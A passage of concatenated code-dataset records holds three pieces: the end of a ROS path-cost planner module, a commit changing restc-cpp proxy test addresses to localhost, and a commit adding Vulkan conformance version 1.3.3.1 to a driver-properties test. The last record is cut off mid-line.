& parameterList, numericalFluentCallbackType numericalFluentCallback,\n nav_msgs::GetPlan::Request & request)\n{\n \/\/ get robot and target location from planner interface\n ROS_ASSERT(parameterList.size() == 2);\n\n ParameterList startParams;\n startParams.push_back(parameterList[0]);\n ParameterList goalParams;\n goalParams.push_back(parameterList[1]);\n NumericalFluentList nfRequest;\n nfRequest.reserve(14);\n nfRequest.push_back(NumericalFluent(\"x\", startParams));\n nfRequest.push_back(NumericalFluent(\"y\", startParams));\n nfRequest.push_back(NumericalFluent(\"z\", startParams));\n nfRequest.push_back(NumericalFluent(\"qx\", startParams));\n nfRequest.push_back(NumericalFluent(\"qy\", startParams));\n nfRequest.push_back(NumericalFluent(\"qz\", startParams));\n nfRequest.push_back(NumericalFluent(\"qw\", startParams));\n nfRequest.push_back(NumericalFluent(\"x\", goalParams));\n nfRequest.push_back(NumericalFluent(\"y\", goalParams));\n nfRequest.push_back(NumericalFluent(\"z\", goalParams));\n nfRequest.push_back(NumericalFluent(\"qx\", goalParams));\n nfRequest.push_back(NumericalFluent(\"qy\", goalParams));\n nfRequest.push_back(NumericalFluent(\"qz\", goalParams));\n nfRequest.push_back(NumericalFluent(\"qw\", goalParams));\n\n NumericalFluentList* nfRequestP = &nfRequest;\n if(!numericalFluentCallback(nfRequestP)) {\n ROS_ERROR(\"numericalFluentCallback failed.\");\n return false;\n }\n\n \/\/ create the path planning query for service\n request.start.header.frame_id = g_WorldFrame;\n request.goal.header.frame_id = g_WorldFrame;\n request.start.pose.position.x = nfRequest[0].value;\n request.start.pose.position.y = nfRequest[1].value;\n request.start.pose.position.z = nfRequest[2].value;\n request.start.pose.orientation.x = nfRequest[3].value;\n request.start.pose.orientation.y = nfRequest[4].value;\n request.start.pose.orientation.z = nfRequest[5].value;\n request.start.pose.orientation.w = nfRequest[6].value;\n request.goal.pose.position.x = nfRequest[7].value;\n request.goal.pose.position.y = nfRequest[8].value;\n request.goal.pose.position.z = nfRequest[9].value;\n request.goal.pose.orientation.x = nfRequest[10].value;\n request.goal.pose.orientation.y = nfRequest[11].value;\n request.goal.pose.orientation.z = nfRequest[12].value;\n request.goal.pose.orientation.w = nfRequest[13].value;\n request.tolerance = g_GoalTolerance;\n return true;\n}\n\ndouble pathCost(const ParameterList & parameterList,\n predicateCallbackType predicateCallback, numericalFluentCallbackType numericalFluentCallback, int relaxed)\n{\n if(g_Debug) { \/\/ prevent spamming ROS_DEBUG calls unless we really want debug\n \/\/ debugging raw planner calls\n static unsigned int calls = 0;\n calls++;\n if(calls % 10000 == 0) {\n ROS_DEBUG(\"Got %d module calls.\\n\", calls);\n }\n }\n\n \/\/ first lookup in the cache if we answered the query already\n map<pair<string, string>, double>::iterator it = g_PathCostCache.find(make_pair(parameterList[0].value, parameterList[1].value));\n if(it != g_PathCostCache.end()) {\n return it->second;\n }\n\n nav_msgs::GetPlan srv;\n if(!fillPathRequest(parameterList, numericalFluentCallback, srv.request)) {\n return INFINITE_COST;\n }\n\n double cost = INFINITE_COST;\n\n if(!g_GetPlan) {\n ROS_ERROR(\"Persistent service connection to %s failed.\", g_GetPlan.getService().c_str());\n \/\/ FIXME reconnect - this shouldn't happen.\n return INFINITE_COST;\n }\n\n \/\/ statistics about using the ros path planner service\n static double plannerCalls = 0;\n static ros::Duration totalCallsTime = ros::Duration(0.0);\n plannerCalls += 1.0;\n\n ros::Time callStartTime = ros::Time::now();\n \/\/ This construct is here, because when the robot is moving move_base will not produce other paths\n \/\/ we retry for a certain amount of time to not fail directly.\n \/\/ FIXME: Cleanup the goto code\nretryGetPlan:\n static unsigned int failCounter = 0;\n\n \/\/ perform the actual path planner call\n if(g_GetPlan.call(srv)) {\n failCounter = 0;\n\n if(g_Debug) {\n ros::Time callEndTime = ros::Time::now();\n ros::Duration dt = callEndTime - callStartTime;\n totalCallsTime += dt;\n ROS_DEBUG(\"ServiceCall took: %f, avg: %f (num %f).\", dt.toSec(), totalCallsTime.toSec()\/plannerCalls, plannerCalls);\n }\n\n if(!srv.response.plan.poses.empty()) {\n \/\/ get plan cost\n double pathLength = 0;\n geometry_msgs::PoseStamped lastPose = srv.response.plan.poses[0];\n forEach(const geometry_msgs::PoseStamped & p, srv.response.plan.poses) {\n double d = hypot(lastPose.pose.position.x - p.pose.position.x,\n lastPose.pose.position.y - p.pose.position.y);\n pathLength += d;\n lastPose = p;\n }\n cost = pathLength;\n } else {\n ROS_WARN(\"Got empty plan: %s -> %s\", parameterList[0].value.c_str(), parameterList[1].value.c_str());\n }\n\n \/\/ROS_INFO(\"Got plan: %s -> %s cost: %f.\", parameterList[0].value.c_str(), parameterList[1].value.c_str(), cost);\n \/\/ also empty plan = OK or fail or none?\n } else {\n ROS_ERROR(\"Failed to call service %s - is the robot moving?\", g_GetPlan.getService().c_str());\n failCounter++;\n if(failCounter < 300) {\n usleep(1000 * 1000);\n goto retryGetPlan;\n }\n \/\/ FIXME: what if target is unreachable, do we get false or an empty plan? i.e. is this an error\n return INFINITE_COST;\n }\n\n \/\/ return pathcost and cache\n g_PathCostCache[make_pair(parameterList[0].value, parameterList[1].value)] = cost;\n\n return cost;\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n\n\/\/ Include before boost::log headers\n#include \"restc-cpp\/logging.h\"\n\n#include \"restc-cpp\/restc-cpp.h\"\n#include \"restc-cpp\/RequestBuilder.h\"\n\n#include \"restc-cpp\/test_helper.h\"\n#include \"lest\/lest.hpp\"\n\nusing namespace std;\nusing namespace restc_cpp;\n\n\nstatic const string defunct_proxy_address = GetDockerUrl(\"http:\/\/172.17.0.1:0\");\nstatic const string http_proxy_address = GetDockerUrl(\"http:\/\/172.17.0.1:3003\");\nstatic const string socks5_proxy_address = GetDockerUrl(\"172.17.0.1:3004\");\n\nconst lest::test specification[] = {\n\nSTARTCASE(TestFailToConnect)\n{\n Request::Properties properties;\n properties.proxy.type = Request::Proxy::Type::HTTP;\n properties.proxy.address = defunct_proxy_address;\n\n \/\/ Create the client with our configuration\n auto rest_client = RestClient::Create(properties);\n\n\n EXPECT_THROWS(rest_client->ProcessWithPromise([&](Context& ctx) {\n auto reply = RequestBuilder(ctx)\n .Get(\"http:\/\/api.example.com\/normal\/posts\/1\")\n .Execute();\n\n }).get());\n} ENDCASE\n\nSTARTCASE(TestWithHttpProxy)\n{\n Request::Properties properties;\n properties.proxy.type = Request::Proxy::Type::HTTP;\n properties.proxy.address = http_proxy_address;\n\n \/\/ Create the client with our configuration\n auto rest_client = RestClient::Create(properties);\n\n rest_client->ProcessWithPromise([&](Context& ctx) {\n auto reply = RequestBuilder(ctx)\n .Get(\"http:\/\/api.example.com\/normal\/posts\/1\")\n .Execute();\n\n cout << \"Got: \" << reply->GetBodyAsString() << endl;\n }).get();\n} ENDCASE\n\nSTARTCASE(TestWithSocks5Proxy)\n{\n Request::Properties properties;\n properties.proxy.type = Request::Proxy::Type::SOCKS5;\n properties.proxy.address = socks5_proxy_address;\n\n \/\/ Create the client with our configuration\n auto rest_client = RestClient::Create(properties);\n\n rest_client->ProcessWithPromise([&](Context& ctx) {\n auto reply = RequestBuilder(ctx)\n .Get(\"http:\/\/api.example.com\/normal\/posts\/1\")\n .Execute();\n\n cout << \"Got: \" << reply->GetBodyAsString() << endl;\n }).get();\n} ENDCASE\n\n}; \/\/lest\n\n\nint main( int argc, char * argv[] )\n{\n RESTC_CPP_TEST_LOGGING_SETUP(\"debug\");\n\n return lest::run( specification, argc, argv );\n}\n<commit_msg>Changed (back) the default address to mock backend<commit_after>#include <iostream>\n\n\/\/ Include before boost::log headers\n#include \"restc-cpp\/logging.h\"\n\n#include \"restc-cpp\/restc-cpp.h\"\n#include \"restc-cpp\/RequestBuilder.h\"\n\n#include \"restc-cpp\/test_helper.h\"\n#include \"lest\/lest.hpp\"\n\nusing namespace std;\nusing namespace restc_cpp;\n\n\nstatic const string defunct_proxy_address = GetDockerUrl(\"http:\/\/localhost:0\");\nstatic const string http_proxy_address = GetDockerUrl(\"http:\/\/localhost:3003\");\nstatic const string socks5_proxy_address = GetDockerUrl(\"localhost:3004\");\n\nconst lest::test specification[] = {\n\nSTARTCASE(TestFailToConnect)\n{\n Request::Properties properties;\n properties.proxy.type = Request::Proxy::Type::HTTP;\n properties.proxy.address = defunct_proxy_address;\n\n \/\/ Create the client with our configuration\n auto rest_client = RestClient::Create(properties);\n\n\n EXPECT_THROWS(rest_client->ProcessWithPromise([&](Context& ctx) {\n auto reply = RequestBuilder(ctx)\n .Get(\"http:\/\/api.example.com\/normal\/posts\/1\")\n .Execute();\n\n }).get());\n} ENDCASE\n\nSTARTCASE(TestWithHttpProxy)\n{\n Request::Properties properties;\n properties.proxy.type = Request::Proxy::Type::HTTP;\n properties.proxy.address = http_proxy_address;\n\n \/\/ Create the client with our configuration\n auto rest_client = RestClient::Create(properties);\n\n rest_client->ProcessWithPromise([&](Context& ctx) {\n auto reply = RequestBuilder(ctx)\n .Get(\"http:\/\/api.example.com\/normal\/posts\/1\")\n .Execute();\n\n cout << \"Got: \" << reply->GetBodyAsString() << endl;\n }).get();\n} ENDCASE\n\nSTARTCASE(TestWithSocks5Proxy)\n{\n Request::Properties properties;\n properties.proxy.type = Request::Proxy::Type::SOCKS5;\n properties.proxy.address = socks5_proxy_address;\n\n \/\/ Create the client with our configuration\n auto rest_client = RestClient::Create(properties);\n\n rest_client->ProcessWithPromise([&](Context& ctx) {\n auto reply = RequestBuilder(ctx)\n .Get(\"http:\/\/api.example.com\/normal\/posts\/1\")\n .Execute();\n\n cout << \"Got: \" << reply->GetBodyAsString() << endl;\n }).get();\n} ENDCASE\n\n}; \/\/lest\n\n\nint main( int argc, char * argv[] )\n{\n RESTC_CPP_TEST_LOGGING_SETUP(\"debug\");\n\n return lest::run( specification, argc, argv );\n}\n<|endoftext|>"} {"text":"<commit_before>\/*-------------------------------------------------------------------------\n* Vulkan Conformance Tests\n* ------------------------\n*\n* Copyright (c) 2018 Advanced Micro Devices, Inc.\n* Copyright (c) 2018 The Khronos Group Inc.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n*\/\/*!\n* \\file\n* \\brief VK_KHR_driver_properties tests\n*\/\/*--------------------------------------------------------------------*\/\n\n#include \"vktApiDriverPropertiesTests.hpp\"\n#include \"vktTestGroupUtil.hpp\"\n#include \"vktTestCaseUtil.hpp\"\n#include \"vkQueryUtil.hpp\"\n#include \"vkTypeUtil.hpp\"\n#include \"vkKnownDriverIds.inl\"\n\nusing namespace vk;\n\nnamespace vkt\n{\nnamespace api\n{\nnamespace\n{\n\nenum TestType\n{\n\tTEST_TYPE_DRIVER_ID_MATCH\t\t\t= 0,\n\tTEST_TYPE_NAME_IS_NOT_EMPTY,\n\tTEST_TYPE_NAME_ZERO_TERMINATED,\n\tTEST_TYPE_INFO_ZERO_TERMINATED,\n\tTEST_TYPE_VERSION,\n};\n\nstatic const VkConformanceVersion knownConformanceVersions[] =\n{\n#ifndef CTS_USES_VULKANSC\n\tmakeConformanceVersion(1, 3, 3, 0),\n\tmakeConformanceVersion(1, 3, 2, 0),\n\tmakeConformanceVersion(1, 3, 1, 1),\n\tmakeConformanceVersion(1, 3, 1, 0),\n\tmakeConformanceVersion(1, 3, 0, 0),\n\tmakeConformanceVersion(1, 2, 8, 0),\n\tmakeConformanceVersion(1, 2, 7, 2),\n\tmakeConformanceVersion(1, 2, 7, 1),\n\tmakeConformanceVersion(1, 2, 7, 0),\n\tmakeConformanceVersion(1, 2, 6, 2),\n\tmakeConformanceVersion(1, 2, 6, 1),\n\tmakeConformanceVersion(1, 2, 6, 0),\n\tmakeConformanceVersion(1, 2, 5, 2),\n\tmakeConformanceVersion(1, 2, 5, 1),\n\tmakeConformanceVersion(1, 2, 5, 0),\n\tmakeConformanceVersion(1, 2, 4, 1),\n\tmakeConformanceVersion(1, 2, 4, 0),\n\tmakeConformanceVersion(1, 2, 3, 3),\n\tmakeConformanceVersion(1, 2, 3, 2),\n\tmakeConformanceVersion(1, 2, 3, 1),\n\tmakeConformanceVersion(1, 2, 3, 0),\n\tmakeConformanceVersion(1, 2, 2, 2),\n\tmakeConformanceVersion(1, 2, 2, 1),\n\tmakeConformanceVersion(1, 2, 2, 0),\n\tmakeConformanceVersion(1, 2, 1, 2),\n\tmakeConformanceVersion(1, 2, 1, 1),\n\tmakeConformanceVersion(1, 2, 1, 0),\n\tmakeConformanceVersion(1, 2, 0, 2),\n\tmakeConformanceVersion(1, 2, 0, 1),\n\tmakeConformanceVersion(1, 2, 0, 0),\n\tmakeConformanceVersion(1, 1, 6, 3),\n\tmakeConformanceVersion(1, 1, 6, 2),\n\tmakeConformanceVersion(1, 1, 6, 1),\n\tmakeConformanceVersion(1, 1, 6, 0),\n\tmakeConformanceVersion(1, 1, 5, 2),\n\tmakeConformanceVersion(1, 1, 5, 1),\n\tmakeConformanceVersion(1, 1, 5, 0),\n\tmakeConformanceVersion(1, 1, 4, 3),\n\tmakeConformanceVersion(1, 1, 4, 2),\n\tmakeConformanceVersion(1, 1, 4, 1),\n\tmakeConformanceVersion(1, 1, 4, 0),\n\tmakeConformanceVersion(1, 1, 3, 3),\n\tmakeConformanceVersion(1, 1, 3, 2),\n\tmakeConformanceVersion(1, 1, 3, 1),\n\tmakeConformanceVersion(1, 1, 3, 0),\n#else\n\tmakeConformanceVersion(1, 0, 0, 0),\n#endif \/\/ CTS_USES_VULKANSC\n};\n\nDE_INLINE bool isNullTerminated(const char* str, const deUint32 maxSize)\n{\n\treturn deStrnlen(str, maxSize) < maxSize;\n}\n\nDE_INLINE bool operator==(const VkConformanceVersion& a, const VkConformanceVersion& b)\n{\n\treturn ((a.major == b.major)\t\t&&\n\t\t\t(a.minor == b.minor)\t\t&&\n\t\t\t(a.subminor == b.subminor)\t&&\n\t\t\t(a.patch == b.patch));\n}\n\nvoid checkSupport (Context& context, const TestType config)\n{\n\tDE_UNREF(config);\n\tcontext.requireDeviceFunctionality(\"VK_KHR_driver_properties\");\n}\n\nvoid testDriverMatch (const VkPhysicalDeviceDriverProperties& deviceDriverProperties)\n{\n\tfor (deUint32 driverNdx = 0; driverNdx < DE_LENGTH_OF_ARRAY(driverIds); driverNdx++)\n\t{\n\t\tif (deviceDriverProperties.driverID == driverIds[driverNdx].id)\n\t\t\treturn;\n\t}\n\n\tTCU_FAIL(\"Driver ID did not match any known driver\");\n}\n\nvoid testNameIsNotEmpty (const VkPhysicalDeviceDriverProperties& deviceDriverProperties)\n{\n\tif (deviceDriverProperties.driverName[0] == 0)\n\t\tTCU_FAIL(\"Driver name is empty\");\n}\n\nvoid testNameZeroTerminated (const VkPhysicalDeviceDriverProperties& deviceDriverProperties)\n{\n\tif (!isNullTerminated(deviceDriverProperties.driverName, VK_MAX_DRIVER_NAME_SIZE))\n\t\tTCU_FAIL(\"Driver name is not a null-terminated string\");\n}\n\nvoid testInfoZeroTerminated (const VkPhysicalDeviceDriverProperties& deviceDriverProperties)\n{\n\tif (!isNullTerminated(deviceDriverProperties.driverInfo, VK_MAX_DRIVER_INFO_SIZE))\n\t\tTCU_FAIL(\"Driver info is not a null-terminated string\");\n}\n\nvoid testVersion (const VkPhysicalDeviceDriverProperties& deviceDriverProperties, deUint32 usedApiVersion)\n{\n\tconst deUint32 apiMajorVersion = VK_API_VERSION_MAJOR(usedApiVersion);\n\tconst deUint32 apiMinorVersion = VK_API_VERSION_MINOR(usedApiVersion);\n\n\tif (deviceDriverProperties.conformanceVersion.major < apiMajorVersion ||\n\t\t(deviceDriverProperties.conformanceVersion.major == apiMajorVersion &&\n\t\t deviceDriverProperties.conformanceVersion.minor < apiMinorVersion))\n\t{\n\t\tTCU_FAIL(\"Wrong driver conformance version (older than used API version)\");\n\t}\n\n\tfor (const VkConformanceVersion*\tpConformanceVersion = knownConformanceVersions;\n\t\t\t\t\t\t\t\t\t\tpConformanceVersion != DE_ARRAY_END(knownConformanceVersions);\n\t\t\t\t\t\t\t\t\t ++pConformanceVersion)\n\t{\n\t\tif (deviceDriverProperties.conformanceVersion == *pConformanceVersion)\n\t\t\treturn;\n\t}\n\n\tTCU_FAIL(\"Wrong driver conformance version (not known)\");\n}\n\ntcu::TestStatus testQueryProperties (Context& context, const TestType testType)\n{\n\t\/\/ Query the driver properties\n\tconst VkPhysicalDevice\t\t\t\tphysDevice\t\t\t= context.getPhysicalDevice();\n\tconst int\t\t\t\t\t\t\tmemsetPattern\t\t= 0xaa;\n\tVkPhysicalDeviceProperties2\t\t\tdeviceProperties2;\n\tVkPhysicalDeviceDriverProperties\tdeviceDriverProperties;\n\n\tdeMemset(&deviceDriverProperties, memsetPattern, sizeof(deviceDriverProperties));\n\tdeviceDriverProperties.sType = VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_DRIVER_PROPERTIES;\n\tdeviceDriverProperties.pNext = DE_NULL;\n\n\tdeMemset(&deviceProperties2, memsetPattern, sizeof(deviceProperties2));\n\tdeviceProperties2.sType = VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_PROPERTIES_2;\n\tdeviceProperties2.pNext = &deviceDriverProperties;\n\n\tcontext.getInstanceInterface().getPhysicalDeviceProperties2(physDevice, &deviceProperties2);\n\n\t\/\/ Verify the returned values\n\tswitch (testType)\n\t{\n\t\tcase TEST_TYPE_DRIVER_ID_MATCH:\t\t\ttestDriverMatch\t\t\t(deviceDriverProperties);\t\t\t\t\t\t\t\tbreak;\n\t\tcase TEST_TYPE_NAME_IS_NOT_EMPTY:\t\ttestNameIsNotEmpty\t\t(deviceDriverProperties);\t\t\t\t\t\t\t\tbreak;\n\t\tcase TEST_TYPE_NAME_ZERO_TERMINATED:\ttestNameZeroTerminated\t(deviceDriverProperties);\t\t\t\t\t\t\t\tbreak;\n\t\tcase TEST_TYPE_INFO_ZERO_TERMINATED:\ttestInfoZeroTerminated\t(deviceDriverProperties);\t\t\t\t\t\t\t\tbreak;\n\t\tcase TEST_TYPE_VERSION:\t\t\t\t\ttestVersion\t\t\t\t(deviceDriverProperties, context.getUsedApiVersion());\tbreak;\n\t\tdefault:\t\t\t\t\t\t\t\tTCU_THROW(InternalError, \"Unknown test type specified\");\n\t}\n\n\treturn tcu::TestStatus::pass(\"Pass\");\n}\n\nvoid createTestCases (tcu::TestCaseGroup* group)\n{\n\taddFunctionCase(group, \"driver_id_match\",\t\t\"Check driverID is supported\",\t\t\t\t\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_DRIVER_ID_MATCH);\n\taddFunctionCase(group, \"name_is_not_empty\",\t\t\"Check name field is not empty\",\t\t\t\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_NAME_IS_NOT_EMPTY);\n\taddFunctionCase(group, \"name_zero_terminated\",\t\"Check name field is zero-terminated\",\t\t\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_NAME_ZERO_TERMINATED);\n\taddFunctionCase(group, \"info_zero_terminated\",\t\"Check info field is zero-terminated\",\t\t\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_INFO_ZERO_TERMINATED);\n\taddFunctionCase(group, \"conformance_version\",\t\"Check conformanceVersion reported by driver\",\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_VERSION);\n}\n\n} \/\/ anonymous\n\ntcu::TestCaseGroup*\tcreateDriverPropertiesTests(tcu::TestContext& testCtx)\n{\n\treturn createTestGroup(testCtx, \"driver_properties\", \"VK_KHR_driver_properties tests\", createTestCases);\n}\n\n} \/\/ api\n} \/\/ vkt\n<commit_msg>Update known conformance version for 1.3.3.1<commit_after>\/*-------------------------------------------------------------------------\n* Vulkan Conformance Tests\n* ------------------------\n*\n* Copyright (c) 2018 Advanced Micro Devices, Inc.\n* Copyright (c) 2018 The Khronos Group Inc.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n*\/\/*!\n* \\file\n* \\brief VK_KHR_driver_properties tests\n*\/\/*--------------------------------------------------------------------*\/\n\n#include \"vktApiDriverPropertiesTests.hpp\"\n#include \"vktTestGroupUtil.hpp\"\n#include \"vktTestCaseUtil.hpp\"\n#include \"vkQueryUtil.hpp\"\n#include \"vkTypeUtil.hpp\"\n#include \"vkKnownDriverIds.inl\"\n\nusing namespace vk;\n\nnamespace vkt\n{\nnamespace api\n{\nnamespace\n{\n\nenum TestType\n{\n\tTEST_TYPE_DRIVER_ID_MATCH\t\t\t= 0,\n\tTEST_TYPE_NAME_IS_NOT_EMPTY,\n\tTEST_TYPE_NAME_ZERO_TERMINATED,\n\tTEST_TYPE_INFO_ZERO_TERMINATED,\n\tTEST_TYPE_VERSION,\n};\n\nstatic const VkConformanceVersion knownConformanceVersions[] =\n{\n#ifndef CTS_USES_VULKANSC\n\tmakeConformanceVersion(1, 3, 3, 1),\n\tmakeConformanceVersion(1, 3, 3, 0),\n\tmakeConformanceVersion(1, 3, 2, 0),\n\tmakeConformanceVersion(1, 3, 1, 1),\n\tmakeConformanceVersion(1, 3, 1, 0),\n\tmakeConformanceVersion(1, 3, 0, 0),\n\tmakeConformanceVersion(1, 2, 8, 0),\n\tmakeConformanceVersion(1, 2, 7, 2),\n\tmakeConformanceVersion(1, 2, 7, 1),\n\tmakeConformanceVersion(1, 2, 7, 0),\n\tmakeConformanceVersion(1, 2, 6, 2),\n\tmakeConformanceVersion(1, 2, 6, 1),\n\tmakeConformanceVersion(1, 2, 6, 0),\n\tmakeConformanceVersion(1, 2, 5, 2),\n\tmakeConformanceVersion(1, 2, 5, 1),\n\tmakeConformanceVersion(1, 2, 5, 0),\n\tmakeConformanceVersion(1, 2, 4, 1),\n\tmakeConformanceVersion(1, 2, 4, 0),\n\tmakeConformanceVersion(1, 2, 3, 3),\n\tmakeConformanceVersion(1, 2, 3, 2),\n\tmakeConformanceVersion(1, 2, 3, 1),\n\tmakeConformanceVersion(1, 2, 3, 0),\n\tmakeConformanceVersion(1, 2, 2, 2),\n\tmakeConformanceVersion(1, 2, 2, 1),\n\tmakeConformanceVersion(1, 2, 2, 0),\n\tmakeConformanceVersion(1, 2, 1, 2),\n\tmakeConformanceVersion(1, 2, 1, 1),\n\tmakeConformanceVersion(1, 2, 1, 0),\n\tmakeConformanceVersion(1, 2, 0, 2),\n\tmakeConformanceVersion(1, 2, 0, 1),\n\tmakeConformanceVersion(1, 2, 0, 0),\n\tmakeConformanceVersion(1, 1, 6, 3),\n\tmakeConformanceVersion(1, 1, 6, 2),\n\tmakeConformanceVersion(1, 1, 6, 1),\n\tmakeConformanceVersion(1, 1, 6, 0),\n\tmakeConformanceVersion(1, 1, 5, 2),\n\tmakeConformanceVersion(1, 1, 5, 1),\n\tmakeConformanceVersion(1, 1, 5, 0),\n\tmakeConformanceVersion(1, 1, 4, 3),\n\tmakeConformanceVersion(1, 1, 4, 2),\n\tmakeConformanceVersion(1, 1, 4, 1),\n\tmakeConformanceVersion(1, 1, 4, 0),\n\tmakeConformanceVersion(1, 1, 3, 3),\n\tmakeConformanceVersion(1, 1, 3, 2),\n\tmakeConformanceVersion(1, 1, 3, 1),\n\tmakeConformanceVersion(1, 1, 3, 0),\n#else\n\tmakeConformanceVersion(1, 0, 0, 0),\n#endif \/\/ CTS_USES_VULKANSC\n};\n\nDE_INLINE bool isNullTerminated(const char* str, const deUint32 maxSize)\n{\n\treturn deStrnlen(str, maxSize) < maxSize;\n}\n\nDE_INLINE bool operator==(const VkConformanceVersion& a, const VkConformanceVersion& b)\n{\n\treturn ((a.major == b.major)\t\t&&\n\t\t\t(a.minor == b.minor)\t\t&&\n\t\t\t(a.subminor == b.subminor)\t&&\n\t\t\t(a.patch == b.patch));\n}\n\nvoid checkSupport (Context& context, const TestType config)\n{\n\tDE_UNREF(config);\n\tcontext.requireDeviceFunctionality(\"VK_KHR_driver_properties\");\n}\n\nvoid testDriverMatch (const VkPhysicalDeviceDriverProperties& deviceDriverProperties)\n{\n\tfor (deUint32 driverNdx = 0; driverNdx < DE_LENGTH_OF_ARRAY(driverIds); driverNdx++)\n\t{\n\t\tif (deviceDriverProperties.driverID == driverIds[driverNdx].id)\n\t\t\treturn;\n\t}\n\n\tTCU_FAIL(\"Driver ID did not match any known driver\");\n}\n\nvoid testNameIsNotEmpty (const VkPhysicalDeviceDriverProperties& deviceDriverProperties)\n{\n\tif (deviceDriverProperties.driverName[0] == 0)\n\t\tTCU_FAIL(\"Driver name is empty\");\n}\n\nvoid testNameZeroTerminated (const VkPhysicalDeviceDriverProperties& deviceDriverProperties)\n{\n\tif (!isNullTerminated(deviceDriverProperties.driverName, VK_MAX_DRIVER_NAME_SIZE))\n\t\tTCU_FAIL(\"Driver name is not a null-terminated string\");\n}\n\nvoid testInfoZeroTerminated (const VkPhysicalDeviceDriverProperties& deviceDriverProperties)\n{\n\tif (!isNullTerminated(deviceDriverProperties.driverInfo, VK_MAX_DRIVER_INFO_SIZE))\n\t\tTCU_FAIL(\"Driver info is not a null-terminated string\");\n}\n\nvoid testVersion (const VkPhysicalDeviceDriverProperties& deviceDriverProperties, deUint32 usedApiVersion)\n{\n\tconst deUint32 apiMajorVersion = VK_API_VERSION_MAJOR(usedApiVersion);\n\tconst deUint32 apiMinorVersion = VK_API_VERSION_MINOR(usedApiVersion);\n\n\tif (deviceDriverProperties.conformanceVersion.major < apiMajorVersion ||\n\t\t(deviceDriverProperties.conformanceVersion.major == apiMajorVersion &&\n\t\t deviceDriverProperties.conformanceVersion.minor < apiMinorVersion))\n\t{\n\t\tTCU_FAIL(\"Wrong driver conformance version (older than used API version)\");\n\t}\n\n\tfor (const VkConformanceVersion*\tpConformanceVersion = knownConformanceVersions;\n\t\t\t\t\t\t\t\t\t\tpConformanceVersion != DE_ARRAY_END(knownConformanceVersions);\n\t\t\t\t\t\t\t\t\t ++pConformanceVersion)\n\t{\n\t\tif (deviceDriverProperties.conformanceVersion == *pConformanceVersion)\n\t\t\treturn;\n\t}\n\n\tTCU_FAIL(\"Wrong driver conformance version (not known)\");\n}\n\ntcu::TestStatus testQueryProperties (Context& context, const TestType testType)\n{\n\t\/\/ Query the driver properties\n\tconst VkPhysicalDevice\t\t\t\tphysDevice\t\t\t= context.getPhysicalDevice();\n\tconst int\t\t\t\t\t\t\tmemsetPattern\t\t= 0xaa;\n\tVkPhysicalDeviceProperties2\t\t\tdeviceProperties2;\n\tVkPhysicalDeviceDriverProperties\tdeviceDriverProperties;\n\n\tdeMemset(&deviceDriverProperties, memsetPattern, sizeof(deviceDriverProperties));\n\tdeviceDriverProperties.sType = VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_DRIVER_PROPERTIES;\n\tdeviceDriverProperties.pNext = DE_NULL;\n\n\tdeMemset(&deviceProperties2, memsetPattern, sizeof(deviceProperties2));\n\tdeviceProperties2.sType = VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_PROPERTIES_2;\n\tdeviceProperties2.pNext = &deviceDriverProperties;\n\n\tcontext.getInstanceInterface().getPhysicalDeviceProperties2(physDevice, &deviceProperties2);\n\n\t\/\/ Verify the returned values\n\tswitch (testType)\n\t{\n\t\tcase TEST_TYPE_DRIVER_ID_MATCH:\t\t\ttestDriverMatch\t\t\t(deviceDriverProperties);\t\t\t\t\t\t\t\tbreak;\n\t\tcase TEST_TYPE_NAME_IS_NOT_EMPTY:\t\ttestNameIsNotEmpty\t\t(deviceDriverProperties);\t\t\t\t\t\t\t\tbreak;\n\t\tcase TEST_TYPE_NAME_ZERO_TERMINATED:\ttestNameZeroTerminated\t(deviceDriverProperties);\t\t\t\t\t\t\t\tbreak;\n\t\tcase TEST_TYPE_INFO_ZERO_TERMINATED:\ttestInfoZeroTerminated\t(deviceDriverProperties);\t\t\t\t\t\t\t\tbreak;\n\t\tcase TEST_TYPE_VERSION:\t\t\t\t\ttestVersion\t\t\t\t(deviceDriverProperties, context.getUsedApiVersion());\tbreak;\n\t\tdefault:\t\t\t\t\t\t\t\tTCU_THROW(InternalError, \"Unknown test type specified\");\n\t}\n\n\treturn tcu::TestStatus::pass(\"Pass\");\n}\n\nvoid createTestCases (tcu::TestCaseGroup* group)\n{\n\taddFunctionCase(group, \"driver_id_match\",\t\t\"Check driverID is supported\",\t\t\t\t\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_DRIVER_ID_MATCH);\n\taddFunctionCase(group, \"name_is_not_empty\",\t\t\"Check name field is not empty\",\t\t\t\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_NAME_IS_NOT_EMPTY);\n\taddFunctionCase(group, \"name_zero_terminated\",\t\"Check name field is zero-terminated\",\t\t\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_NAME_ZERO_TERMINATED);\n\taddFunctionCase(group, \"info_zero_terminated\",\t\"Check info field is zero-terminated\",\t\t\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_INFO_ZERO_TERMINATED);\n\taddFunctionCase(group, \"conformance_version\",\t\"Check conformanceVersion reported by driver\",\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_VERSION);\n}\n\n} \/\/ anonymous\n\ntcu::TestCaseGroup*\tcreateDriverPropertiesTests(tcu::TestContext& 